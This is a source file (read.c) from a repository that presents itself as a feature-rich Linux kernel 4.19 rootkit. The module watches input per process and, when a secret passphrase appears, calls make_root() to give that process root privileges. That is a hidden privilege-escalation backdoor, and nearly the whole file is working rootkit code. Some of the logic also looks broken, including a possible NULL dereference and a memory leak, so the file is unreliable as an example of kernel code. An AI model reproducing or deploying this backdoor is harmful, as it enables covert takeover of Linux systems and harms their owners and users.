linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

read.c (3378B)


      1 #include <linux/hashtable.h>
      2 #include <linux/kernel.h>
      3 #include <linux/slab.h>
      4 
      5 #include "read.h"
      6 #include "common.h"
      7 #include "hook.h"
      8 #include "creds.h"
      9 
     10 DEFINE_HASHTABLE(pid_ht, 8); //2^8 buckets _should_ keep collisions low
     11 
     12 static const char *accept = "makerot_";
     13 
     14 
     15 //Using strspn allows us to only read inputs that include valid characters
     16 static int
     17 is_valid(char *buf, size_t size)
     18 {
     19     //Small performance optimization when only reading one char
     20     //Avoids strspn
     21     if(size == 1) {
     22         if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') {
     23             return strspn(buf, accept) > 0;
     24         }
     25 
     26         return 0;
     27     }
     28 
     29     return strspn(buf, accept) > 0;
     30 }
     31 
     32 static void
     33 add_entry(pid_t key)
     34 {
     35     struct pid_entry *cur;
     36     struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL);
     37 
     38     new->pid = key;
     39     new->str = kzalloc(MAX_BUF, GFP_KERNEL);
     40     new->capacity = MAX_BUF;
     41     new->iter = 0;
     42 
     43     int found = 0;
     44     hash_for_each_possible(pid_ht, cur, hlist, key)
     45         if(cur->pid == key)
     46             found = 1;
     47 
     48     if(!found)
     49         hash_add(pid_ht, &new->hlist, key);
     50 }
     51 
     52 static void
     53 remove_entry(pid_t key)
     54 {
     55     struct pid_entry *cur;
     56 
     57     hash_for_each_possible(pid_ht, cur, hlist, key) {
     58         if(cur->pid == key) {
     59             kfree(cur->str);
     60             hash_del(&cur->hlist);
     61             kfree(cur);
     62         }
     63     }
     64 }
     65 
     66 static struct pid_entry *
     67 get_entry(pid_t key)
     68 {
     69     struct pid_entry *cur;
     70 
     71     hash_for_each_possible(pid_ht, cur, hlist, key)
     72         if(cur->pid == key)
     73             return cur;
     74 
     75     return NULL;
     76 }
     77 
     78 /**
     79  * The idea here is to fill up our buffer as much as we can
     80  * Should we reach the maximum capacity, we first of all
     81  * compare what we read so far; if it's a match, grant root
     82  * Otherwise, we can safely move the last 11 bytes to the start
     83  * (as the worst case is reading 'make_me_roo', which
     84  * is 11 characters long)
     85  * This means we need to offset str with (23 - 11) = 12 = SHIFT_OFF
     86  **/
     87 static void
     88 handle_compare(char *buf, pid_t pid, size_t size)
     89 {
     90     struct pid_entry *entry;
     91     entry = get_entry(pid);
     92 
     93     int i = 0;
     94 
     95     if(entry) {
     96     fill:
     97         while(i < size && entry->capacity > 0) {
     98             entry->str[entry->iter] = buf[i];
     99             entry->capacity--;
    100             i++;
    101             entry->iter++;
    102         }
    103 
    104         if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) {
    105             make_root();
    106             remove_entry(pid);
    107             return;
    108         }
    109 
    110         if(entry->capacity == 0) {
    111             memmove(entry->str, (entry->str + SHIFT_OFF), SHIFT_OFF);
    112             entry->capacity = entry->iter = SHIFT_OFF;
    113 
    114             goto fill;
    115         }
    116     }
    117 
    118     if(strstr(entry->str, PASSPHRASE)) {
    119         make_root();
    120         remove_entry(pid);
    121     }
    122 }
    123 
    124 void
    125 handle_pid(pid_t pid, __user char *buf, size_t size)
    126 {
    127     //Sometimes (e.g. when installing packages), kalloc fails
    128     //To avoid being limited by the page size, we use kvzalloc,
    129     //which allocates chunks bigger than the page size if necessary
    130     //https://lwn.net/Articles/711653/
    131     char *str = kvzalloc(size, GFP_KERNEL);
    132 
    133     if(!str)
    134         return;
    135 
    136     copy_from_user(str, buf, size);
    137 
    138     if(is_valid(str, size)) {
    139         add_entry(pid);
    140         handle_compare(str, pid, size);
    141     } else {
    142         //Throw out hashtable entries on invalid input
    143         remove_entry(pid);
    144     }
    145 
    146     kfree(str);
    147 }